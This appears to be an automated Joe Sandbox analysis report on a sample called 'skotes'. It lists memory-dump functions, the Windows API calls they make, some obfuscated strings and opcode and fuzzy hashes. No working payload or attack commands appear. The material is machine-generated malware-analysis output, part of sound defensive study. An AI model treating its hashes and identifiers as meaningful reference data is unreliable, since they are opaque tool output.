Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00FA7ED3

Strings

JjssPV==, xrefs: 00FA81E2
JjsrQV==, xrefs: 00FA8092
JjssOl==, xrefs: 00FA813A
JjsrPl==, xrefs: 00FA828A

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: a925351faa62e3cdacf187696c9a6460cff747bec065012d808549665b7bc235
Instruction ID: 0b8f7af501f6b6f628231e0705b1cd21d16f967566ea0a1407648a3148973aa4
Opcode Fuzzy Hash: a925351faa62e3cdacf187696c9a6460cff747bec065012d808549665b7bc235
Instruction Fuzzy Hash: E4E13AB1E003449BDF25BB28CC5B79D7B71AB42720F94428CE4556B3C2DB795E81ABC2

Function 00FDB655 Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,00FD6A97,?), ref: 00FDB65D
__dosmaperr.LIBCMT ref: 00FDB66E

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: 478f6e7f56c7cf27d62cc337d0f5828f62b8e16cc8480296716db84005f9adbe
Instruction ID: 6db64b465b2bd5554ef8b7f5ddbc0780f902e4e693376de32eea2e480565b923
Opcode Fuzzy Hash: 478f6e7f56c7cf27d62cc337d0f5828f62b8e16cc8480296716db84005f9adbe
Instruction Fuzzy Hash: 35D0123218A209B69E2035B56C0851A3B8E9BC13743692A52B86C856E1EF26C8506055

Function 00FA8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00FA8524

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 7fffb8bb29dbe506258ed737bb222510e41d6dbea4e76451e73b40b3e9005a75
Instruction ID: a9ab4c8fdba60b15e52a69595092326f6f2b65cd932aa8aec04a33a1b8b0da3a
Opcode Fuzzy Hash: 7fffb8bb29dbe506258ed737bb222510e41d6dbea4e76451e73b40b3e9005a75
Instruction Fuzzy Hash: B65159B0D002589FDB24EB78CD497DDB775EB46320F5442A9E818A72C1EF749E809F91

Function 00FDB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,362816CD,?,?,00FBD3FC,362816CD,?,00FB7A8B,?,?,?,?,?,?,00FA7465,?), ref: 00FDB07E

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5034f993e8134e811c071cb11b75745c7325b66d31562255628f31f172b8a2e0
Instruction ID: 74772b65e1870dcdb9cf86791699b60056d5224430b4d7374ae5172835b8ee6f
Opcode Fuzzy Hash: 5034f993e8134e811c071cb11b75745c7325b66d31562255628f31f172b8a2e0
Instruction Fuzzy Hash: 3AE0E535501212D6DA313B654C08B5FBA4B8B423B0F0F0213ED6496380EB14CC00B2E0

Function 05570CB2 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79e2f31a49739f92d2bb56e2626e1814a51ea447ee24995ed7a6e58109aab799
Instruction ID: 2b0b5c72a16911672a5422669e2c6930c0cc47d9152f771efd0f1ea9aa99eddf
Opcode Fuzzy Hash: 79e2f31a49739f92d2bb56e2626e1814a51ea447ee24995ed7a6e58109aab799
Instruction Fuzzy Hash: DC0162AB00821DED8A42D1A8764CAF6ABEFFA407303305D22F886868E1C110570A8EA1

Function 05570CCF Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87cb4c87da937f30fd0b3eea3df761e6e3710d9f3b3f52fa2eb2fc3d319267b1
Instruction ID: 70c2f7dd00ccf445575aab0a23b1580fa2c2fc9724133c95c834d9eefb5ecd95
Opcode Fuzzy Hash: 87cb4c87da937f30fd0b3eea3df761e6e3710d9f3b3f52fa2eb2fc3d319267b1
Instruction Fuzzy Hash: 42F04EAB048218DA864395BC694D5FD7BD7BA412317244E52FC42965D2C15623468DA2

Function 05570CA1 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 622892b2de078c48ac98a61df15de5eaacf19a091ea32749d47f600278d7b937
Instruction ID: 182adbbe0ac5ce469f91c1af8bfe2d7a7be71bb5414ee786ccae9ba289c0fb03
Opcode Fuzzy Hash: 622892b2de078c48ac98a61df15de5eaacf19a091ea32749d47f600278d7b937
Instruction Fuzzy Hash: B7F04CBF00C31DDEC282E298B64D6B6BBDBB7013307304E12F843965E2C15413458ED1

Function 05570C9A Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 480ff79b4eb4c662b2a4ea1310963d44096bc7e75dba6731559bd109d198d60f
Instruction ID: 3725f492fad74b7b4be163fcdc5bce59eba6bae0eed2e4fc2181593f8ece0820
Opcode Fuzzy Hash: 480ff79b4eb4c662b2a4ea1310963d44096bc7e75dba6731559bd109d198d60f
Instruction Fuzzy Hash: 25F0F6AF00C22DEA8182D6AABA4D6F6BBDBB6013717244D12F84796AE2C15513458DE2

Function 05570D02 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfdad370d2562fb0288fa382870d21e9d8a939ffccc8de85ac4e62d2849a576e
Instruction ID: 6d59182188744fd55007f3e1aa15ea1196cce9740d64e57b1dc3a3200fd73021
Opcode Fuzzy Hash: bfdad370d2562fb0288fa382870d21e9d8a939ffccc8de85ac4e62d2849a576e
Instruction Fuzzy Hash: D3F02E79048359CFC2D1E6FD650C6FAB7E77B12731B104D16E442864D2C29533059D91

Function 05570CED Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bc4a0384eaeaff8bfe87a57ccb9e2bad0b1267cb309763b66f76c11112b51b8
Instruction ID: 1246e103b1dd9968d069967a28ff364ee183f672041286c8000f331b40bd3b5d
Opcode Fuzzy Hash: 1bc4a0384eaeaff8bfe87a57ccb9e2bad0b1267cb309763b66f76c11112b51b8
Instruction Fuzzy Hash: 13F05CAD04C359CAC282E2BD694C7F9BBD7BB01332B240D26E483875E2C254630A8D92

Function 05570D25 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e78aa5c95801eff15289820846febb58bd5daed85818ac4f658a659f136879
Instruction ID: 05ed100c74962cb21420f41abeffdedf33fc1224281b82cf3ce01f40c0300179
Opcode Fuzzy Hash: f8e78aa5c95801eff15289820846febb58bd5daed85818ac4f658a659f136879
Instruction Fuzzy Hash: 0DE026BD008759CA8181E2B8A80C7BABBE63B40712B200E25A882874E2C2646300D9A2

Function 05570D38 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898484788.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5570000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da94931a31ae9f82c69aff7be24b85b7d7ee57087ec2c335a419dac89b82dc81
Instruction ID: a50a9770776988da2b8a3f80367f9bb10ae35c8a27d447a1ab744a4109d1ee13
Opcode Fuzzy Hash: da94931a31ae9f82c69aff7be24b85b7d7ee57087ec2c335a419dac89b82dc81
Instruction Fuzzy Hash: 65E02699008B9A94C642E768984CABABBE27B51759B084F164481838D2C2A973048AA0

Non-executed Functions

Function 00FE31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FE3323

Strings

1#INF, xrefs: 00FE44DE
1#QNAN, xrefs: 00FE44C1
1#IND, xrefs: 00FE44B3
1#SNAN, xrefs: 00FE44BA

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 137152a00336bb65b1cffeec41ce1aac0dc03f1cfe6f97a5ccca0c410a331df3
Instruction ID: 78922a2eb09ec5884bbd373b5ff3f04a2fd6c94c6be791e69d61b5fc5c2c4e00
Opcode Fuzzy Hash: 137152a00336bb65b1cffeec41ce1aac0dc03f1cfe6f97a5ccca0c410a331df3
Instruction Fuzzy Hash: C8C25D72E042688FCF25CE29DD487E9B3B5EB84314F1541EAD94DE7240E779AE81AF40

Function 00FE2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: e0f5530857ad26b90a3ffc99b3ab56df7a88a183daf60acff0e8849706d928cf
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 17F14E71E002599FDF14CFA9C8846ADB7B5FF88324F25826ED919AB344D731AE01DB90

Function 00FBCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00FBCF52,?,?,?,?,00FBCF87,?,?,?,?,?,?,00FBC4FD,?,00000001), ref: 00FBCC03

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: c8976a747ad10706cd8106fa9c48f5d9885c59e823dfe1da2f532ded9a2bf8d9
Instruction ID: 9e6681b4e9be932e6e7ddf10ed171f02fb1f9ff3be1d0ee887d82c3c9dcc7bd2
Opcode Fuzzy Hash: c8976a747ad10706cd8106fa9c48f5d9885c59e823dfe1da2f532ded9a2bf8d9
Instruction Fuzzy Hash: 55D02232A4217CE78A122B85EC088FEBF4CAE01B203011111ED0C93160CF116C00FFE1

Function 00FD7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00FD80B2

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 2fbffd182a2f938c4b341f86c9aec10c60f4e766db9022b2c6a28e3e5aa8dfea
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 71517D71A087445ADB3867288C997BEB79B9F013A0F1C051BE442DF381EE569D4FB2D2

Function 00FA4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bab102aacdb26702b8110ec31425a7a1addc4d677c7f0943f512aca4db2d26
Instruction ID: 758bcc2b912919d66b3298859c4e64995207ec64c9a6705b13a2a8b0e6fb1d97
Opcode Fuzzy Hash: b2bab102aacdb26702b8110ec31425a7a1addc4d677c7f0943f512aca4db2d26
Instruction Fuzzy Hash: 582260B3F515144BDB0CCA9DDCA27ECB2E3BFD8218B0E903DA40AE3345EA79D9158644

Function 00FE7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afd8781a648b6a5fda2bf30c24b8c1b86ed3809f557a68be6eae089992798c3
Instruction ID: 859db64edd71585b88db8a4d68714b2093d52b50d65048d620129ea30d72ba20
Opcode Fuzzy Hash: 4afd8781a648b6a5fda2bf30c24b8c1b86ed3809f557a68be6eae089992798c3
Instruction Fuzzy Hash: C7B16B32614744CFDB28DF29C886B657BA0FF45364F258658E99ACF2A1C335E982DF40

Function 00FA4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5b876b18ed433da8e813003e8a46e8740f69ef37a39bab34ff90479cf760e0
